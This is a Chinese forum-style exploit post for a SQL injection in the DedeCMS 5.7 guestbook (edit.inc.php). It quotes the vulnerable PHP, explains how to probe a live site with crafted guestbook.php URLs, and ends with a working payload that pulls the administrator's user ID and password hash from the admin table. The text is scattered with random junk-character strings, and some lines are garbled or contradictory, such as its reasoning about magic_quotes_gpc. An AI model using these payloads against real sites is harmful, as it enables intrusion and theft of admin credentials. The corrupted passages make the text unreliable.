dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
; t% D" o+ w8 d) [; ^+ `0 S. u, A
0 F4 r  j3 y& d8 A3 q2 z漏洞文件edit.inc.php具体代码：

% D( e% e( j) c% r< ?php  
8 w. R/ T8 m% R  u! P% s8 V. e( o% A5 a' Y
if(!defined('DEDEINC')) exit('Request Error!');  

; |+ G& I4 [5 x+ g4 t   
6 q1 o8 N- N0 l% X8 p5 E$ f
8 G0 O' r  y  w* hif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

+ L3 {/ x% w$ o. j/ Lelse $GUEST_BOOK_POS = "guestbook.php";  
+ e" c/ C' j; H6 S
   

$id = intval($id);  
) a9 E; _5 L  I4 F
if(empty($job)) $job='view';  
8 D# w6 a) a4 j0 X+ u% s
   
4 t, z" T8 s: b' a, ~" B5 L; x
if($job=='del' && $g_isadmin)  
7 p+ [7 i$ A( G, B' x
8 k% C5 Y& v) l" x{  

$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
8 |- e' ~! ~8 y. X* f" O1 C
2 `! o: ~% B7 f: VShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

3 `4 W, o4 H- uexit();  
1 m( S+ B0 i$ k' ]
+ p7 m1 b  h. a* c" i4 ?}  

else if($job=='check' && $g_isadmin)  
( Q  V" Z2 _& R: N7 D
! j' \# U5 S% M- }: |{  
% [: P' `$ X, k& B. H! ]
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
$ K* K9 K0 q1 s0 f  A
, L# T7 L# X  |1 f4 i. wShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
. [" o" B, h" }
exit();  
: K$ y# y6 D! @
6 f! \( G. o+ B9 I}  
2 q5 }/ [4 f$ b( ?# B) @
else if($job=='editok')  
: A0 R' \9 ~. s  j7 z
{  
% q" d/ J/ j& @5 K
! @+ k$ H+ }% Y2 `$remsg = trim($remsg);  
) ]% b, E4 Y. A6 C
9 Y2 O6 M$ B; a. j$ M4 gif($remsg!='')  

( e8 D4 ?+ Q; \- }# _( f0 {{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  
& \. g) ]  N# L  m9 J4 d, F
if($g_isadmin)  
) Z, N) }% `/ ^+ ~* C2 h2 @
{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

else

{  
( D( h: l- k& |# ]" p; [
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

* D- q4 m5 |0 X% H% |# u5 H$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
# I9 y% h5 ]" G- C5 W" R! s
& o: G( f8 P0 ?& }5 l2 k9 @3 i/ _$msg = $oldmsg.$remsg;  
  y  E; r! o- ?( }7 H
  H& {7 j1 g+ H}  
2 g; ]5 }6 h9 p4 k& O/ Z
1 B, M/ |3 f& j8 }' c  a+ D; h3 x}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
: n" A% c, H4 J, {; A6 ~$ Y
( l9 ~1 D5 E+ f0 ]% V  E: `. w! F$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
( p' t0 Z# r0 a! G1 X" T8 s
ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

) F4 F6 d% C! qexit();  

}  
( }! U, x! }: F+ V8 I! @7 m
  d8 i& M9 ^. d0 u* W% [//home:www.errs.cc  

if($g_isadmin)  
* u4 M+ y  s3 x+ l2 c7 E% P& P
{  

$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
1 |( p3 u# ~; ^
3 v9 T+ r! l1 E- _require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

}  
, o0 k3 f1 K0 U+ D! y$ p
else

$ {- C# j" y9 i0 f) n& j{  

: i! g9 J: J& G. J; d1 V7 y+ N$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

4 i6 Z# w& H3 x* c$ prequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
1 A# p5 O0 U  r; n2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
0 h5 e: V5 M+ r1 I# s) i# |然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
7 z1 ?& h6 _% E- p3 [* L访问：

www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
4 a9 a% `# [* ]0 S/ I9 U* n跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
$ ?, E' L' _3 K6 d3 Z

' h- o4 f( Z' W! z7 n明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, h1 g( C$ u: |1 z+ Q  w; R9 i! B* D+ R: I如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
6 o* s& T) e; D那么再次访问
+ o; t# u/ \4 j- }; `# S* L, V% n
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
9 N8 A+ d, F5 j  O; n
大概利用就是这样，大家有兴趣的多研究下！！
- Z2 H" ]5 S# I* f
9 D3 }2 H. t4 H' v/ I9 o; A2 |最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
: s9 C0 c% H- ]: I8 K0 o3 ?: d
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='